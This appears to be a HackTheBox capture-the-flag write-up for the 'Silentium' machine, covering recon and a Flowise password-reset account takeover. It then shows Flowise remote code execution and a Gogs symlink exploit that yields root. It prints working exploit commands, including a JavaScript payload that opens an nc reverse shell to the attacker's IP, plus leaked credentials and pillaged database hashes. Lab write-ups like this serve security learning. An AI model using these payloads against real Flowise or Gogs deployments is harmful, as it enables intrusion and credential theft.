Preview
← BACK
Silentium - Easy Linux Web HackTheBox Writeup Avatar

Silentium

Recon

# PORT   STATE SERVICE REASON
# 22/tcp open  ssh     syn-ack ttl 63
# 80/tcp open  http    syn-ack ttl 63

curl -I http://10.129.78.68
# HTTP/1.1 301 Moved Permanently
# Server: nginx/1.24.0 (Ubuntu)
# Date: Sun, 16 Aug 2026 18:16:00 GMT
# Content-Type: text/html
# Content-Length: 178
# Connection: keep-alive
# Location: http://silentium.htb/

Fuzzing the site

Let's add silentium.htb to our /etc/hosts. The site is pretty simple and doesn't seem to have any logic like forms or anything. Let's start fuzzing.

ffuf -c -w `fzf-wordlists` -u "http://silentium.htb/" -H "Host: FUZZ.silentium.htb" -fs 178
#
#        /'___\  /'___\           /'___\
#       /\ \__/ /\ \__/  __  __  /\ \__/
#       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
#        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
#         \ \_\   \ \_\  \ \____/  \ \_\
#          \/_/    \/_/   \/___/    \/_/
#
#       v2.1.0
#________________________________________________
#
# :: Method           : GET
# :: URL              : http://silentium.htb/
# :: Wordlist         : FUZZ: /opt/lists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
# :: Header           : Host: FUZZ.silentium.htb
# :: Follow redirects : false
# :: Calibration      : false
# :: Timeout          : 10
# :: Threads          : 40
# :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
# :: Filter           : Response size: 178
#________________________________________________
#
# staging                 [Status: 200, Size: 3142, Words: 789, Lines: 70, Duration: 66ms]
#:: Progress: [5000/5000] :: Job [1/1] :: 3174 req/sec :: Duration: [0:00:02] :: Errors: 0 ::

We found a subdomain, let's add that to our /etc/hosts file and then we can navigate to staging.silentium.htb.

Abusing reset password flow in Flowise - CVE-2025-58434

The site is Flowise, an MCP used to manage LLMs. By default we land on the login page, I tried guessing some basic credentials like admin:admin but I couldn't get in. Since we have a /signin, I guessed that there might also be a /register, and indeeed there was.

Though attempting to submit the register form, we don't see any request being sent. Going back to the login page, there was a "Forgot Password?" link, though sending a dummy email like admin@silentium.htb fails with a "User not found" error.

Let's go back to the initial site, looking at all the content we find a list of three employee:

  • Marcus Thorne
  • Ben
  • Elena Rossi

We might be able to do some guessing based on this like <firstname>@silentium.htb, or <first>.<last>@silentium.htb, etc.

After some tests we find that ben@silentium.htb works, we validated that Ben is a real user on the site:

Successfully sent reset password instructions via email for the ben account

Though we don't have access to the email, there's something really unusal about this reset password flow, we have a "Have a reset password code? Change your password here." link, clicking on it we find a new form that asks for email, reset token, and the new password.

We can look at the traffic the site is sending using Burp Suite, when we send the password reset we see an API POST request and the reply contains a lot of information:

{
  "user": {
    "id": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
    "name": "admin",
    "email": "ben@silentium.htb",
    "credential": "$2a$05$6o1ngPjXiRj.EbTK33PhyuzNBn2CLo8.b0lyys3Uht9Bfuos2pWhG",
    "tempToken": "oTxhbu36L6vqVhd1ZzCavtGo0rFJ0T83CpBgdR1y4Muui78UfkHKJwF7ERNX3JBF",
    "tokenExpiry": "2026-08-16T16:04:10.700Z",
    "status": "active",
    "createdDate": "2026-01-29T20:14:57.000Z",
    "updatedDate": "2026-08-16T15:49:10.000Z",
    "createdBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
    "updatedBy": "e26c9d6c-678c-4c10-9e36-01813e8fea73"
  },
  "organization": {},
  "organizationUser": {},
  "workspace": {},
  "workspaceUser": {},
  "role": {}
}

We get the tempToken which could be the reset token, also we have the credential hash, though it's bcrypt, let's try to fill the reset password form.

This works, we can now login as ben:

Logged-in as ben to Flowise MCP

RCE in the Flowise container - CVE-2025-59528

Looking in Settings > Version, we see that we are running flowise@3.0.5. Looking at CVEDetails, we find a lot of vulnerabilities, let's focus on the highest impact and with known public exploits:

  • CVE-2025-59528: Flowise is vulnerable to remote code execution. The CustomMCP node allows users to input configuration settings for connecting to an external MCP server. This node parses the user-provided mcpServerConfig string to build the MCP server configuration. However, during this process, it executes JavaScript code without any security validation.
  • CVE-2025-58434: the forgot-password endpoint in Flowise returns sensitive information including a valid password reset tempToken without authentication or verification. This enables any attacker to generate a reset token for arbitrary users and directly reset their password, leading to a complete account takeover (ATO)

Interesting, CVE-2025-58434 is the one we just used earlier.

Let's look into CVE-2025-59528 looks promising, it's an RCE through the custom tool feature, it allows us to input JS that can run commands on the host.

The payload is simple:

curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc" \
  -d '{
    "loadMethod": "listActions",
    "inputs": {
      "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.186 4444 >/tmp/f\");return 1;})()})"
    }
  }'

Where The Bearer token is just the API key that we already have at our disposal:

API Key already created

Running our listener and triggering the payload, we get RCE as root!

Getting access to ben via password reuse

Though we are not on the main machine, this appears to be a container. Enumerating information about the environment we find that we have sensitive information in the environment variables:

nc -lvnp 4444
# Ncat: Version 7.93 ( https://nmap.org/ncat )
# Ncat: Listening on :::4444
# Ncat: Listening on 0.0.0.0:4444
# Ncat: Connection from 10.129.78.68.
# Ncat: Connection from 10.129.78.68:44205.
# /bin/sh: can't access tty; job control turned off
id
# uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
uname -a
# Linux c78c3cceb7ba 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64 Linux
env
# FLOWISE_PASSWORD=f1l3_d0ck3r
# ALLOW_UNAUTHORIZED_CERTS=true
# NODE_VERSION=20.19.4
# HOSTNAME=c78c3cceb7ba
# YARN_VERSION=1.22.22
# SMTP_PORT=1025
# SHLVL=3
# PORT=3000
# HOME=/root
# SENDER_EMAIL=ben@silentium.htb
# PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
# JWT_ISSUER=ISSUER
# JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
# LLM_PROVIDER=nvidia-nim
# SMTP_USERNAME=test
# SMTP_SECURE=false
# JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200
# FLOWISE_USERNAME=ben
# PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# DATABASE_PATH=/root/.flowise
# JWT_TOKEN_EXPIRY_IN_MINUTES=360
# JWT_AUDIENCE=AUDIENCE
# SECRETKEY_PATH=/root/.flowise
# PWD=/
# SMTP_PASSWORD=r04D!!_R4ge
# NVIDIA_NIM_LLM_MODE=managed
# SMTP_HOST=mailhog
# JWT_REFRESH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
# SMTP_USER=test

Trying the couple passwords we see via ssh, we find that ben:r04D!!_R4ge works!

sshpass -p 'r04D!!_R4ge' ssh -oStrictHostKeyChecking=no "ben@silentium.htb"
# Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-107-generic x86_64)
# 
# <SNIP>
# 
# Last login: Sun Aug 16 12:07:37 2026 from 10.10.14.186
ben@silentium:~$ id
# uid=1000(ben) gid=1000(ben) groups=1000(ben),100(users)
ben@silentium:~$ ls
# user.txt

Root

Abusing Gogs - CVE-2025-8110

We find a lot of services, let's forward them with ssh -L and try to identify them:

  • 8025: mailhog
  • 3000: flowise
  • 3001: Gogs
  • 1025, 34505: not sure

Let's see who is running these:

ps aux | grep -Ei "mail|gogs"
# root        1504  0.0  1.9 1665192 77736 ?       Ssl  12:02   0:02 /opt/gogs/gogs/gogs web
# ben         1921  0.0  0.2 712788  8368 ?        Ssl  12:02   0:00 MailHog
# ben        20968  0.0  0.0   6680  2352 pts/0    S+   14:52   0:00 grep --color=auto -Ei mail|gogs|flowise
ps aux | grep -Ei "1025|34505"
# root        2024  0.0  0.1 1671112 4184 ?        Sl   12:02   0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 1025 -container-ip 172.18.0.3 -container-port 1025 -use-listen-fd

Quickly checking MailHog, we land on Ben's account without authentication, and we can se the reset password email we sent earlier, this allows us to delete them for cleanup purposes, though there are no other emails.

Let's focus on Gogs since it's being run by root. The instance is a classic installation there are no public repositories or organizations, and there's a ben user though he has no activity and we cannot connect to him with any of the passwords we found earlier.

We can create an account, doing so reveals absolutely nothing, we can't even see the version since that's hidden for administrators only. Though let's look at that /opt/gogs directory:

cd /opt/gogs/gogs
ls
# custom  data  gogs  LICENSE  log  README.md  README_ZH.md  scripts
./gogs --version
# Gogs version 0.13.3

Looking on CVEDetails there's two vulnerabilities that stand out for this version:

  • CVE-2025-8110: Improper Symbolic link handling in the PutContents API in Gogs allows Local Execution of Code.
  • CVE-2026-52806: Allows authenticated users to achieve Remote Code Execution (RCE) on the server by creating a pull request with a specially crafted branch name that injects the –exec flag into the git rebase command during the "Rebase before merging" merge operation.

The first one looks promising, essentially CVE-2025-8110 is a symlink bug in Gogs' file upload API. If you push a symlink pointing to .git/config and then use the API to "update" that file, Gogs follows the link and overwrites the actual git config. You write a config that sets sshCommand to a reverse shell, and the next time Gogs runs any git operation it executes that command. Since Gogs is running as root, you get a root shell.

I found this POC, though a bit finnicky, I had to disable registration, instead pass my credentials I created previously, since there's CAPTCHA enabled. Then I also had to specify my Github user.name and user.mail since this is a fresh local lab. But after some trial and error we get it to work:

python3 CVE-2025-8110.py -u http://localhost:3001 -lh 10.10.14.186 -lp 4444
# /root/.pyenv/versions/3.11.14/lib/python3.11/site-packages/requests/__init__.py:113: RequestsDependencyWarning: urllib3 (2.6.3) or chardet (6.0.0.post1)/charset_normalizer (3.4.4) doesn't match a supported version!
#   warnings.warn(
# [+] Authenticated successfully
# Token generation status: 200
# [+] Application token: baed4129143774d0aee5b1963108644463659362
# Repo creation status: 201
# Cloning into '/tmp/4a737d3feec7'...
# remote: Enumerating objects: 3, done.
# remote: Counting objects: 100% (3/3), done.
# remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
# Unpacking objects: 100% (3/3), 251 bytes | 125.00 KiB/s, done.
# [master 190edee] Add malicious symlink
#  1 file changed, 1 insertion(+)
#  create mode 120000 malicious_link
# Enumerating objects: 4, done.
# Counting objects: 100% (4/4), done.
# Delta compression using up to 8 threads
# Compressing objects: 100% (2/2), done.
# Writing objects: 100% (3/3), 299 bytes | 299.00 KiB/s, done.
# Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
# To http://localhost:3001/john/4a737d3feec7.git
#    b94ff70..190edee  master -> master
# [+] Exploit sent, check your listener!
nc -lvnp 4444
# Ncat: Version 7.93 ( https://nmap.org/ncat )
# Ncat: Listening on :::4444
# Ncat: Listening on 0.0.0.0:4444
# Ncat: Connection from 10.129.78.68.
# Ncat: Connection from 10.129.78.68:34940.
# bash: cannot set terminal process group (1504): Inappropriate ioctl for device
# bash: no job control in this shell
cd /root
ls
# gogs-repositories
# root.txt

Post-Exploitation

Let's cleanup the mess we created, first let's delete the repositories that were created.

Let's pillage any interesting information, I found /etc/gogs/data/gogs.db, exfiltrating it we find the hash for ben's password, though with some quick online search I see that Gogs uses PBKDF2 with 10k iterations, so I'll just leave it at that:

  • ben: 8a45c8ecc37910298617e4078f4f610b16526d119948543010a2c46e7c174293df82a74dcaffb03495f5a85eb7c62dfa514a

In the root directory we find the encryption key and database for flowise:

ls
# database.sqlite
# encryption.key
# uploads

Recommendations

  • Consider dropping Flowise especially since latest version 3.1.4 is still vulnerable and the project has been archived. Try to find more secure alternatives.
  • Keep Gogs up to date.